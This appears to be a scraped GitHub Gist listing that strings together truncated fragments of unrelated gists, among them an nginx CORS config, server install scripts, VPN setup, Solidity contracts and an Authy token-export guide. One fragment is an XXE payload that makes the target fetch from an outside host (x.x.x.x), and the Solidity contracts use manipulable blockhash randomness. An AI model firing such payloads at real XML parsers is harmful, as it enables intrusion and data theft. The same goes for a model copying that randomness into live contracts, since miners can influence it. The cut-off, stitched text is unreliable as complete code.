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@Stanback
Stanback / nginx.conf
Last active March 30, 2025 03:57 — forked from michiel/cors-nginx.conf
Example Nginx configuration for adding cross-origin resource sharing (CORS) support to reverse proxied APIs
#
# CORS header support
#
# One way to use this is by placing it into a file called "cors_support"
# under your Nginx configuration directory and placing the following
# statement inside your **location** block(s):
#
# include cors_support;
#
# As of Nginx 1.7.5, add_header supports an "always" parameter which
@staaldraad
staaldraad / XXE_payloads
Last active March 31, 2025 07:19
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
#!/usr/bin/python
import socket
import struct
import sys
# We want unbuffered stdout so we can provide live feedback for
# each TTL. You could also use the "-u" flag to Python.
class flushfile(file):
def __init__(self, f):
@prauscher
prauscher / generate-fastd.sh
Last active December 31, 2020 05:40
Script to generate peerings in dn42
#!/bin/bash
[ $# -ge 6 ] || {
echo "Usage: $0 <NICK> <MAIL> <GPG> <AS> <ENDPOINT> <IPV4> [PORT] [FASTD-PUBKEY]" >&2
exit 1
}
# You may want to change variables below and check if "/etc/bird/bird-dn42.conf"
# is included in your bird-config (same for bird6 with bird6-dn42.conf)
anonymous
anonymous / random
Created February 4, 2016 07:55
Created using soleditor: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://chriseth.github.io/browser-solidity/?gist=
contract random{
function rand(uint min, uint max) public returns (bytes32){
uint256 lastBlockNumber = block.number - 1;
bytes32 hashVal = bytes32(block.blockhash(lastBlockNumber));
return bytes32(hashVal);
}
}
@alexvandesande
alexvandesande / Random generator
Last active December 23, 2022 09:10
A very simple random generator. A miner can influence the number by not publishing a block with an unwanted outcome, and forfeiting the 5 block reward.
contract random {
/* Generates a random number from 0 to 100 based on the last block hash */
function randomGen(uint seed) constant returns (uint randomNumber) {
return(uint(sha3(block.blockhash(block.number-1), seed ))%100);
}
/* generates a number from 0 to 2^n based on the last n blocks */
function multiBlockRandomGen(uint seed, uint size) constant returns (uint randomNumber) {
uint n = 0;
for (uint i = 0; i < size; i++){
@thde
thde / alpine-install.sh
Last active September 17, 2024 03:27
A script to install alpine linux on a dedicated server. Tested on Hetzner, Kimsufi / OVH
#!/bin/sh
set -ex
PATH=/bin:/sbin:/usr/bin:/usr/sbin
KEYMAP="us us"
HOST=alpine
USER=anon
ROOT_FS=ext4
BOOT_FS=ext4
@danielv99
danielv99 / l2tpclient.sh
Last active December 24, 2024 16:51
L2TP VPN client on Linux Debian
# Requirements
# debian/ubuntu
apt-get -y update && apt-get -y upgrade
apt-get -y install strongswan xl2tpd libstrongswan-standard-plugins libstrongswan-extra-plugins
VPN_SERVER_IP=''
VPN_IPSEC_PSK='y'
VPN_USER=''
VPN_PASSWORD=''
@krisnod
krisnod / gist:56ff894f400cce7c742fb11fb2fde9cf
Last active April 6, 2022 18:46
RancherOS on Hetzner using software RAID (RAID 1)
Install:
----------
* Activate Hetzner Rescue System (Debian)
* Connect to Hetzner Rescue System using SSH and live boot RancherOS
(thanks goes to William Fleurant for showing how this can be done: https://github.com/wfleurant/boot-rancheros-hetzner/)
* apt-get update
* apt-get install kexec-tools aria2
@gboudreau
gboudreau / AuthyToOtherAuthenticator.md
Last active April 19, 2025 17:17 — forked from Ingramz/AuthyToOtherAuthenticator.md
Export TOTP tokens from Authy

Exporting your 2FA tokens from Authy to transfer them into another 2FA application

IMPORTANT - Update regarding deprecation of Authy desktop apps

Past August 2024, Authy stopped supported the desktop version of their apps:
See Authy is shutting down its desktop app | The 2FA app Authy will only be available on Android and iOS starting in August for details.

And indeed, after a while, Authy changed something in their backend which now prevents the old desktop app from logging in. If you are already logged in, then you are in luck, and you can follow the instructions below to export your tokens.

If you are not logged in anymore, but can find a backup of the necessary files, then restore those files, and re-install Authy 2.2.3 following the instructions below, and it should work as expected.